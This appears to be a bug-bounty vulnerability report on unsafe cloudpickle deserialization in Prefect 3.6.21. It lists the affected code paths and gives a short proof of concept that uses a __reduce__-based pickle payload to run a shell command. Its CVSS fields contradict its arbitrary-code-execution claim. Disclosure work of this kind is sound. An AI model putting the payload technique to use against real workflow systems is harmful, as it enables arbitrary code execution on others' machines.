Unsafe cloudpickle deserialization in Prefect task runners and bundle deserialization in prefecthq/prefect
Valid
Reported on Mar 7th 2026
Unsafe Deserialization in Prefect
Description
Prefect uses cloudpickle.loads() in multiple critical paths without validation:
1. Task Runner Results (prefect/task_runners.py:624)
def result(self, timeout: float | None = None) -> R:
pickled_result = self.wrapped_future.result(timeout)
return cloudpickle.loads(pickled_result) # No validation
PrefectConcurrentFuture.result() deserializes task results from the process pool via cloudpickle.
2. Task Runner Callback (prefect/task_runners.py:644)
result = cloudpickle.loads(wrapped_future.result())
Done callbacks also deserialize via cloudpickle.loads.
3. Bundle Deserialization (prefect/_experimental/bundles/__init__.py:107)
def _deserialize_bundle_object(serialized_obj: str) -> Any:
return cloudpickle.loads(gzip.decompress(base64.b64decode(serialized_obj)))
Bundles are deserialized from base64-encoded gzip-compressed cloudpickle data. If an attacker can control the serialized bundle string, they achieve ACE.
4. Callable Execution (prefect/utilities/callables.py:233)
fn, args, kwargs = cloudpickle.loads(payload)
_run_serialized_call() deserializes function calls from cloudpickle bytes.
Attack Scenario
- In distributed Prefect deployments, task results flow between workers via serialized data
- A compromised worker can return malicious cloudpickle data that executes code when the result is consumed
- The bundle deserialization path is exploitable if an attacker can inject a malicious serialized string into the bundle system
- The callables path deserializes function payloads — a poisoned payload achieves ACE
Steps to Reproduce
import os, cloudpickle, gzip, base64
class Evil:
def __reduce__(self):
return (os.system, ("echo PWNED > /tmp/proof.txt",))
# Simulate bundle deserialization
serialized = base64.b64encode(gzip.compress(cloudpickle.dumps(Evil()))).decode()
result = cloudpickle.loads(gzip.decompress(base64.b64decode(serialized)))
# /tmp/proof.txt created — ACE
Tested On
- Prefect 3.6.21, Python 3.12.3, cloudpickle 3.1.2
- ACE confirmed via cloudpickle.loads in bundle deserialization
Impact
Arbitrary code execution via cloudpickle.loads in Prefect task runners, bundle deserialization, and callable execution. Prefect is a popular workflow orchestration platform with 10M+ PyPI downloads. Distributed deployments where task results flow between workers are especially at risk.
Occurrences
task_runners.py L624](https://github.com/PrefectHQ/prefect/blob/3.6.21/src/prefect/task_runners.py#L624)
cloudpickle.loads(pickled_result) — deserializes task runner results without validation
init.py L107](https://github.com/PrefectHQ/prefect/blob/3.6.21/src/prefect/_experimental/bundles/__init__.py#L107)
cloudpickle.loads(gzip.decompress(base64.b64decode(serialized_obj))) — bundle deserialization
callables.py L233](https://github.com/PrefectHQ/prefect/blob/3.6.21/src/prefect/utilities/callables.py#L233)
cloudpickle.loads(payload) — deserializes function calls from bytes
References
Vulnerability Type
CWE-502: Deserialization of Untrusted Data
Severity
None (0)
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
None
Open in visual CVSS calculator
Registry
Pypi
Affected Version
3.6.21
Visibility
Public
Status
Awaiting fix
Found by
User not found